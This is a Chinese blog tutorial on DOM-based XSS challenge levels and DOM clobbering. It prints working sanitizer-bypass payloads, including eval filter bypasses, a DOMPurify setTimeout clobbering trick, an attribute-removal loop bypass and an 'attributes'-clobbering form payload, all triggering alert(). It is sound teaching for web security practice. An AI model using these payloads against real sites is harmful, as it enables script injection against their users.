DOM破坏及其实战案例

news2024/12/29 9:47:26

目录

DOM靶场:

第六关:

第七关:

第八关:

DOM破坏:

dom破坏案例1:

案例二:

DOM靶场:

DOM靶场平台:Challenges 

前五关请查看:DOM型xss靶场实验_domxss靶场-CSDN博客

第六关:

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

这里考察的是无字母数字的绕过。

无字母数字的绕过,使用一个网站JSFuck - Write any JavaScript with 6 Characters: []()!+ (kamil-kielczewski.github.io)

使用这个网站来对我们需要写入的代码进行编码:

注意:在alert(1)进行转化之后,在浏览器传参时还需要进行urlcode编码:

编码之后再传参:

第七关:

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

方法一:

使用匿名函数来做。

利用构造函数可以自动执行的特点来做。

Function(函数体)() :这类构造函数可以自动执行。 /ALERT(1337)/.source.toLowerCase():由于js严格区分大小写,我们使用toLowerCase()这个方法将其转小写后执行。

方法二:

利用两个函数,parseInt和toString来实现。先使用parseint函数将alert转化为30进制的数。再使用toString方法还原。

方法三:

location.hash.slice(1)来做。

location.hash取的是“#”后面的值,再加一个slice(1)方法截取(从#后第一位开始截取),就可以直接将alert(1337)截取出来。

第八关:

<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

1:这里使用DOMPurify框架进行了过滤。

2:这里使用了setTimeout这个函数,表示再两秒以后执行。我们去官网查看这个函数的使用方法:表明在setTimeout中可以使用函数。

3:利用a标签中的自带的toString方法,当调用a标签的时候,href中的字符串会覆盖a标签。

构建payload: boomer=<a id=ok href="javascript:alert(1337)">

id等于ok是为了setTimeout可以获取到我们写的a标签。

发现没有反应:注意这里存在使用DOMPurify进行了过滤,这个框架是开源的,可能将javascript过滤了,我们去找其中白名单的随便一个来替代:

我们这里使用白名单中的xmpp来构建payload:?boomer=a%20id=ok%20href="xmpp:alert(1337)" 最后成功执行。

整个题目最重要的一点是首先我们要创建出ok这个元素,最后在调用的时候可以使我们的setTimeout可以成功的接收到alert这个函数并执行。这个题目就是一个典型的DOM破坏。

DOM破坏:

        dom破坏说简单一点就是对元素或者属性的覆盖。

一个简单的案例来理解dom破坏:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form name="body">
        <img id="appendChild">
    </form>
</body>
<script>
    var div = document.createElement('div');   //创建一个div标签
    document.body.appendChild(div);
</script>
</html>

 当我们去浏览器查看时就可以发现:

可以看到我们通过多层覆盖掉了document.body.appendChild ⽅法。这就是dom破坏

dom破坏案例1:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <div id="x">
        <a id="x" name=y href="1:hasaki"></a>
    </div>
</body>
<script>
    // console.log(x);  //一个集合
    // console.log(x.x);  //取出div标签
    // console.log(x.y);   //取出a标签
    // alert(x.y)   //取出a标签,在执行的时候自动调用toString方法。
    const data = decodeURIComponent(location.hash.substr(1)) //使用data接收#后面的值
    const root = document.createElement('div') //创建一个div元素
    root.innerHTML = data	//将data的值赋给div

    for ( let el of root.querySelectorAll('*')){  //循环遍历div元素中的子元素。(如:a ,p,等标签)
        for (let attr of el.attributes ){		 //获取div子标签中的属性。	
            el.removeAttribute(attr.name);		// 对子标签中的属性进行移除。
        }
    }
    document.body.appendChild(root);
</script>
</html>

比如,我们传递的是:http://127.0.0.1/test.html#%3Cimg%20src=sad%20οnerrοr=alert(123)%3E

我们发现:src属性已经被移除,所以onerror触发不了。它将合法的属性去除掉了,非法的属性留下来了。

这里存在一个很大的问题:就是它所有的操作都是在同一组数组上面操作的。

本来img这个标签中存在两个属性:src和onerror。但是它直接将src删除之后就跳出循环,留下了onerror。

原因:这里我们可以使用指针的方式来理解

第一次:系统的指针指向了src这个属性,将src属性删除。将它删除后指针会自动向上走,而onerror会向下走。

第二次:将它删除src后指针会自动向上走,而onerror会向下走。就变成如下这样,当前指针的指向为空认为已经没有可以删除的属性了,所以就直接跳出循环。

那么这里就存在一个规律:当存在多个属性的时候,第奇数的属性会被删除,第偶数的属性会留下。这里就给了我们利用点。

构建payload:test.html#<img bbb=asda οnerrοr=alert('123') aaa=2121 src=sadad>(我们将src和onerror属性放在偶数位)。

最后成功的执行了。(注意我们写入的属性名称不能一样否则会被当做同一个属性一起删除)

修复方法:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    for ( let el of root.querySelectorAll('*')){
        let attrs = [];
        for (let attr of el.attributes ){
            attrs.push(attr.name);    	//将获取的属性放到attrs数组中
        }
        for (let name of attrs){		//循环数组依次删除。
            el.removeAttribute(name);
        }
    }
    document.body.appendChild(root);
</script>
</html>

测试:我们依然使用之前的payload发现已经失效了。

案例二:

承接我们上面的修复之后,在进行操作,不过在这里我们就要使用DOM破坏了。我们就要考虑有没有什么可以替代attributes,如果能够替代的话我们的payload就可以逃逸出来,删除的就是无关紧要的值。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    for ( let el of root.querySelectorAll('*')){
        let attrs = [];
        for (let attr of el.attributes ){
            attrs.push(attr.name);    	//将获取的属性放到attrs数组中
        }
        for (let name of attrs){		//循环数组依次删除。
            el.removeAttribute(name);
        }
    }
    document.body.appendChild(root);
</script>
</html>

我们使用DOM破坏来操作。

我们构建payload如下:<style>@keyframes x{}</style><form style="animation-name: x;" onanimationstart="alert(1)"><input id=attributes ><input id=attributes>

解析:

<style>@keyframes x{}</style>是一种动画效果,其中并没有属性,不会被删除。


<form style="animation-name: x;" onanimationstart="alert(1)"><input id=attributes ><input id=attributes> 这里表示一个form表单,定义了一种动画效果,当动画效果执行后触发onanimationstart这个动作,执行alert这个函数实现弹窗。

在这里我们定义的input的id等于attributes,就是为了当代码执行到form时,如下代码:

el.attributes = form.attributes(这里原本的想法是来删除form中的元素,但是在form表单中存在id=attributes的input标签。此时就覆盖住了form表单中的元素,导致删除的是input标签中的id。最终导致form中的属性并没有被删除,alert函数被触发)

    for ( let el of root.querySelectorAll('*')){
        let attrs = [];
        for (let attr of el.attributes ){
            attrs.push(attr.name);    	//将获取的属性放到attrs数组中
        }
        for (let name of attrs){		//循环数组依次删除。
            el.removeAttribute(name);
        }
    }

我们可以在浏览器中通过断点来调试,可以清晰的看到attributes被input中的覆盖住了:

到此就结束了,对于这道题目比较清晰,它是一道典型的dom破坏,破坏了attributes。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2049126.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何使用天地图

第一步&#xff1a;登录/注册 国家地理信息公共服务平台 第二步&#xff1a;获取服务许可&#xff08;Key&#xff09; 如果你已经申请了许可&#xff0c;那可以不用看上的了&#xff0c;如何使用请看下面 1.首先在index.html中一下代码 <script src"http://api.tian…

creo曲面建模1

偏移平面&#xff1a; 在偏移面做一个圆&#xff1a; 在阿基米德曲线上&#xff0c;将曲线四等分。点在曲线上并且在相交基准面上&#xff1a; 绘制曲线&#xff1a; 第二段&#xff1a; 第三段&#xff1a; 第四段4.5高&#xff1a; 曲线复合&#xff1a; 边界混合&a…

2024下半年软考备考全攻略:科目选择与高效学习策略

随着2024年下半年的脚步日益临近&#xff0c;软考&#xff08;软件水平考试&#xff09;的考生们也开始紧锣密鼓地准备起来。今年&#xff0c;软考官方对考试科目进行了重大调整&#xff0c;为考生们提供了更加多样化的选择。以下是详细的考试信息、科目调整以及针对不同考生群…

铁电存储器(FM24W256)I2C读写驱动(1):FM24W256简介

0 参考资料 FM24W256&#xff08;Cypress公司生产&#xff09;数据手册 1 FM24W256铁电存储器简介 铁电存储器&#xff08;FRAM&#xff09;相比带电可擦可编程只读存储器&#xff08;EEPROM&#xff09;最突出的两个优势就是 拥有几乎无限的读写次数和写入不需要等待&#xf…

打卡学习Python爬虫第二天|Requests的使用

一、什么是requests库&#xff1f; requests库是一个非常流行和强大的HTTP库&#xff0c;它用于在Python中发送HTTP请求。这个库的主要特点是其简洁和易于使用的API&#xff0c;使得发送网络请求和获取响应变得非常简单。 以下是requests库的一些关键特点和使用方法&#xff…

四年的功能测试,在这个金九银十的招聘旺季找不到工作怎么办?

昨天周日跟一个读者聊了很久&#xff0c;今天跟大家聊一下他的故事。 他做了4年的功能测试了&#xff0c;最近因为种种原因换工作&#xff0c;结果从8月底到现在快两个月了&#xff0c;面试了十几二十家&#xff0c;收到的offer都不是自己很满意的&#xff0c;很是懊恼&#x…

C语言相关

1. 代码执行过程 1.1 简述编译运行一段代码的过程 1.1.1 预处理 为了接下来能够解释的更加清楚&#xff0c;使用linux 平台下的 gcc 编译器解释。先书写一个非常简单的程序来介绍&#xff1a; 第一步发生的是预编译&#xff0c;使用-E 指令会使程序只进行到预编译指令。经过…

html+css+js 黑神话悟空网页设计与制作

htmlcssjs 黑神话悟空网页设计与制作 网站介绍 1、网站程序&#xff1a;主要使用网页三剑客htmlcssjavaScript实现网页设计与制作&#xff0c;完成网站的功能设计。制作适用于任何浏览器或设备的精美网站。 2、网站素材&#xff1a;搜集或制作适合网页风格和尺寸的图片&#…

Vmware WorkStations 17 ,centos 安装 vmware tools

1.Vmware WorkStations 17 ,安装vmware tools 按钮显示灰色,需重新下载下载vmware tools https://softwareupdate.vmware.com/cds/vmw-desktop/ws/ 根据自身的vmware workstation 版本选择 选择Windows 选择packages 2.搜索Centos8 自带vmware tools ****.iso文件 3.将ISO文…

我主编的电子技术实验手册(16)——认识电容

本专栏是笔者主编教材&#xff08;图0所示&#xff09;的电子版&#xff0c;依托简易的元器件和仪表安排了30多个实验&#xff0c;主要面向经费不太充足的中高职院校。每个实验都安排了必不可少的【预习知识】&#xff0c;精心设计的【实验步骤】&#xff0c;全面丰富的【思考习…

如何利用TRIZ创新思维进行产品的市场需求分析?

实践证明&#xff0c;传统的市场调研方法往往难以触及那些未被言说的“隐性需求”。而今&#xff0c;借助TRIZ&#xff08;发明问题解决理论&#xff09;这一强大的创新思维工具&#xff0c;我们不仅能洞悉市场的显性需求&#xff0c;更能解锁隐藏在背后的无限商机。本文&#…

【排序篇】插入排序与选择排序

&#x1f308;个人主页&#xff1a;Yui_ &#x1f308;Linux专栏&#xff1a;Linux &#x1f308;C语言笔记专栏&#xff1a;C语言笔记 &#x1f308;数据结构专栏&#xff1a;数据结构 文章目录 1. 排序的概念及其应用1.1 排序的概念1.2 排序的应用场景1.3 常见的排序算法 2.常…

Diffusion Model相关论文解析之(一)Denoising Diffusion Probabilistic Models

目录 1、摘要2、创新点3、主要公式4、主要实现过程 1、摘要 ‌Denoising Diffusion Probabilistic Models (DDPMs) 是一种基于参数化的马尔可夫链的模型&#xff0c;它使用变分推理进行训练&#xff0c;以在有限时间内生成与数据匹配的样本。‌ 这种模型通过逆扩散过程逐渐向样…

Unity开发抖音小游戏广告部分接入

Unity开发抖音小游戏广告部分接入 介绍环境确保开通流量主获取广告位广告部分代码测试如下总结 介绍 最近在使用Unity做抖音小游戏这块的内容&#xff0c;因为要接入广告&#xff0c;所以这里我把我接入广告的部分代码和经验分享一下。 环境确保 根据抖音官方的文档我们是先…

day 28 HTTP协议

一、TCP粘包问题 TCP发送数据是连续的&#xff0c;两次发送的数据可能粘连成一包被接收到 解决粘包问题方法&#xff1a; 1.接收指定长度&#xff1a;&#xff08;不稳定&#xff09; 2.睡眠&#xff1a;&#xff08;效率低&#xff09; 让每次…

浦发银行上半年增利不增收,新领导能否重夺“对公之王”标签?

去年9月8日&#xff0c;浦发银行原董事长郑杨、原行长潘卫东双双辞职。今年2月&#xff0c;国家金融监督管理总局核准张为忠为浦发银行董事、董事长的任职资格&#xff0c;并于3月核准康杰副行长的任职资格。而行长一职&#xff0c;悬空已久&#xff0c;历经10个月有了新的进展…

SpringBoot和Redis的交互数据操作以及Redis的持久化/删除策略和缓存问题

目录 一、SpringBoot和Redis/MySQL的数据交互 二、Redis的持久化 1、持久化过程保存什么 2、RDB方式 &#xff08;1&#xff09;RDB手动 &#xff08;2&#xff09;RDB自动 &#xff08;3&#xff09;RDB的优点 &#xff08;4&#xff09;RDB缺点 3、AOF方式 &#…

指针详解(二)

目录 1. const修饰指针 1&#xff09;const修饰变量 2&#xff09;const修饰指针变量 2. 指针运算 1&#xff09;指针 - 整数 2&#xff09;指针-指针 3&#xff09;指针的关系运算 3. 野指针 1&#xff09;野指针成因 2&#xff09;规避野指针 4. assert断言 5. 指…

子网掩码是什么以及子网掩码相关计算

子网掩码 (Subnet Mask) 又称网络掩码 (Netmask)&#xff0c;告知主机或路由设备&#xff0c;地址的哪一部分是网络号&#xff0c;包括子网的网络号部分&#xff0c;哪一部分是主机号部分。 子网掩码使用与IP地址相同的编址格式&#xff0c;即32 bit—4个8位组的32位长格式。…

《SPSS零基础入门教程》学习笔记——01.SPSS入门

文章目录 1.1 SPSS的窗口1.2 变量属性&#xff08;1&#xff09;变量的存储类型&#xff08;2&#xff09;变量的测量尺度 1.3 读入数据和保存 1.1 SPSS的窗口 数据窗口 结果窗口语法窗口脚本窗口 1.2 变量属性 定义变量&#xff08;变量视图&#xff09; &#xff08;1&a…